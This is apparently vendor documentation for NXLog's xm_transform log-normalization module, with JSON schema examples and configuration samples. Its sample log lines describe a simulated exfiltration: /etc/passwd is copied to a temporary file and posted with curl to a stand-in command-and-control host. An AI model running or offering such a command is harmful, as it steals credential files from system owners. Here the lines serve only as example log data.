Transform (xm_transform)
This module allows normalizing log data according to a specified schema. It accepts file-based schemas in JSON format and supports dynamically setting the schema file.
The module is intended to be used with the JSON (xm_json) extension.
To examine the supported platforms, see the list of installer packages in the Available Modules chapter. |
Schema definition
You must define one or more event schemas in JSON format and save each schema in a separate file. The schema can include constant strings and event fields.
{
"agent_name": "NXLog Agent", (1)
"message": "$raw_event" (2)
}
1 | Sets the agent_name property to NXLog Agent for every log record. |
2 | Sets the message property to the value of the $raw_event core field. |
The schema can also contain nested JSON objects.
For example, the following schema includes a metadata
property containing an object.
{
"message": "$raw_event",
"metadata": {
"agent": {
"name": "NXLog Agent",
"ingestion": "$EventReceivedTime"
}
}
}
See Event records and fields for more information on how NXLog parses log records into fields.
Configuration
The xm_transform module accepts the following directives in addition to the common module directives.
Optional directives
Specify the path to a schema file. NXLog formats log records using this schema when you process them with this extension. |
|||
Use this directive to specify a map of names and the corresponding schema file location. You can use these names when dynamically setting the schema with the set_schema() procedure.
See Setting the schema dynamically below for an example. |
Procedures
The following procedures are exported by xm_transform.
process();
-
This procedure processes the log record and transforms it according to the module instance settings.
Examples
This configuration collects Linux system logs from a file and transforms log records according to a schema file.
<Extension transform>
Module xm_transform
Schema 'schemas/default.json' (1)
</Extension>
<Extension json>
Module xm_json
</Extension>
<Input system_logs>
Module im_file
File '/var/log/syslog'
<Exec>
transform->process(); (2)
to_json(); (3)
</Exec>
</Input>
1 | Defines the path of the schema file. The path is relative to the NXLog configuration folder. |
2 | Normalizes log records according to the schema file defined in the Schema directive. |
3 | Calls the to_json() procedure of xm_json to convert the record to JSON format. |
The following is a basic schema file compatible with log events collected by the im_file input module. This module populates the core fields only.
{
"Event": "$raw_event",
"Metadata": {
"Type": "GENERIC",
"IngestionTime": "$EventReceivedTime"
}
}
2024-09-26 16:05:47 [100]: File "/etc/passwd" 512 bytes was copied to "/tmp/steal.txt".
2024-09-26 16:05:47 [100]: Process 123 "/usr/bin/curl" with command line "-d @/tmp/steal.txt http://example-cc.bot".
2024-09-26 16:05:47 [100]: File "/tmp/steal" 512 bytes was deleted.
{
"Event": "2024-09-26 16:05:47 [100]: File \"/etc/passwd\" 512 bytes was copied to \"/tmp/steal.txt\".",
"Metadata": {
"Type": "GENERIC",
"IngestionTime": "2024-09-26T16:06:00.984034+02:00"
}
}
This configuration collects logs from a file and transforms log records according to the event type.
It defines three event schemas: copy
, delete
, and spawn
.
It also sets a default schema for events that do not match any of the conditions.
<Extension transform>
Module xm_transform
SchemaDir 'schemas/' (1)
<SchemaMap> (2)
copy file-copy.json
delete file-delete.json
spawn process-create.json
default default.json
</SchemaMap>
<Exec> (3)
if ($raw_event =~ /File "(.+)" (\d+) bytes was deleted/) {
$FileName = $1;
$FileSize = $2;
set_schema("delete");
}
else if ($raw_event =~ /File "(.+)" (\d+) bytes was copied to "(.+)"/) {
$PrevFileName = $1;
$PrevFileSize = $2;
$FileName = $3;
set_schema("copy");
}
else if ($raw_event =~ /Process (\d+) "(.+)" with command line "(.+)"/) {
$NewProcessID = $1;
$FileName = $2;
$Args = $3;
set_schema("spawn");
}
else
{
set_schema("default"); (4)
}
</Exec>
</Extension>
<Extension json>
Module xm_json
</Extension>
<Input access_log>
Module im_file
File '/var/log/access_log'
<Exec>
transform->process(); (5)
to_json(); (6)
</Exec>
</Input>
1 | Defines the path of the directory containing the schema files. The path is relative to the NXLog configuration folder. |
2 | Maps names to schema files. You use the names when dynamically setting the schema with set_schema(). |
3 | Logic that sets the appropriate schema dynamically. It uses regular expressions to parse log events. |
4 | It uses the default schema for log events that do not match any of the regular expressions. |
5 | Normalizes log records according to the SchemaMap. |
6 | Calls the to_json() procedure of xm_json to convert the record to JSON format. |